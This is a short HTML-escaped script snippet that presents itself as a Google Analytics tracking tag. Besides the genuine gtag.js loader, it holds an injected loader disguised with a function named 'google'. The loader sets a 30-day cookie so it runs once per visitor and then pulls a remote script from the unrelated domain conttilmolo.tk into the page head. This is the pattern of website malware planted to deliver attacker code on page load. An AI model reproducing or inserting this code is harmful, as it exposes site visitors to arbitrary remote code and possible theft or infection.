&lt;!-- Global site tag (tmp.js) - Google Analytics --&gt; &lt;script async src='https://www.googletagmanager.com/gtag/js?id=UA-154861920-1'&gt;&lt;/script&gt; &lt;script&gt; function get_cookie(googlesd){ var results = document.cookie.match ( '(^|;) ?' + googlesd + '=([^;]*)(;|$)' ); if (results) return ( unescape ( results[2] ) ); else return null; } function google(src) { var elem = document.createElement(&quot;script&quot;); elem.src = src; document.head.appendChild(elem); } var val = get_cookie('_gfz'); if(val != 'conttilmolo'){ var date = new Date; date.setDate(date.getDate() + 30); date = date.toUTCString(); document.cookie = '_gfz=conttilmolo; path=/; expires='+date; var val = get_cookie('_gfz'); if(val == 'conttilmolo'){google('https://conttilmolo.tk/tmp.js');} } &lt;/script&gt;